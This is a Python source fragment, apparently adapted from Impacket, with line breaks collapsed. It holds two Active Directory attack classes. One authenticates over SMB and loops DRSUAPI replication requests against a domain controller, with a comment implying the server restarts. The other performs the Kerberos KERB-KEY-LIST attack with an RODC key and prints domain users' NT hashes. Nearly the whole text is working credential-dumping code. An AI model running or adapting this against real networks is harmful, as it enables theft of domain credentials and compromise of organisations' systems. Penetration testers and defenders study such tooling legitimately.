class DRSUAPIOps: def __init__(self, target, username, password): self.target = target self.username = username self.password = password def run(self): while True: try: self.__smbConnection = SMBConnection(remoteName=self.target, remoteHost=self.target) self.__smbConnection.login(self.username, self.password) self.__remoteOps = RemoteOperations(self.__smbConnection, False, None) enumerationContext = 0 status = STATUS_MORE_ENTRIES while status == STATUS_MORE_ENTRIES: resp = self.__remoteOps.getDomainUsers(enumerationContext) for user in resp['Buffer']['Buffer']: userName = user['Name'] #print('userName : %s' % userName) userSid = self.__remoteOps.ridToSid(user['RelativeId']) crackedName = self.__remoteOps.DRSCrackNames( drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, name=userSid.formatCanonical()) if crackedName['pmsgOut']['V1']['pResult'][ 'cItems'] == 1: if crackedName['pmsgOut']['V1']['pResult'][ 'rItems'][0]['status'] != 0: break userRecord = self.__remoteOps.DRSGetNCChanges( crackedName['pmsgOut']['V1']['pResult'] ['rItems'][0]['pName'][:-1]) # userRecord.dump() replyVersion = 'V%d' % userRecord['pdwOutVersion'] enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except Exception as e: if str(e).find('STATUS_PIPE_NOT_AVAILABLE') != -1: continue elif str(e).find('STATUS_PIPE_CLOSING') != -1: print('Server is restarting prolly now...') return raise e
class KeyListDump: def __init__(self, remoteName, username, password, domain, options, enum, targets): self.__domain = domain self.__username = username self.__password = password self.__aesKey = options.aesKey self.__doKerberos = options.k self.__aesKeyRodc = options.rodcKey self.__remoteName = remoteName self.__remoteHost = options.target_ip self.__kdcHost = options.dc_ip self.__rodc = options.rodcNo # self.__kvno = 1 self.__enum = enum self.__targets = targets self.__full = options.full self.__smbConnection = None self.__remoteOps = None self.__keyListSecrets = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') else: self.__lmhash = '' self.__nthash = '' def connect(self): try: self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) if self.__doKerberos: self.__smbConnection.kerberosLogin( self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) except Exception as e: if os.getenv( 'KRB5CCNAME') is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug( 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise def run(self): if self.__enum is True: self.connect() self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.connectSamr(self.__domain) self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) logging.info( 'Enumerating target users. This may take a while on large domains' ) if self.__full is True: targetList = self.getAllDomainUsers() else: targetList = self.__keyListSecrets.getAllowedUsersToReplicate() else: logging.info('Using target users provided by parameter') self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, None) targetList = self.__targets logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)') logging.info( 'Using the KERB-KEY-LIST request method. Tickets everywhere!') for targetUser in targetList: user = targetUser.split(":")[0] targetUserName = Principal( '%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT( targetUserName) fullTGT = self.__keyListSecrets.getFullTGT(targetUserName, partialTGT, sessionKey) if fullTGT is not None: key = self.__keyListSecrets.getKey(fullTGT, sessionKey) print(self.__domain + "\\" + targetUser + ":" + key[2:]) def getAllDomainUsers(self): resp = self.__remoteOps.getDomainUsers() # Users not allowed to replicate passwords by default deniedUsers = [500, 501, 502, 503] targetList = [] for user in resp['Buffer']['Buffer']: if user['RelativeId'] not in deniedUsers and "krbtgt_" not in user[ 'Name']: targetList.append(user['Name'] + ":" + str(user['RelativeId'])) return targetList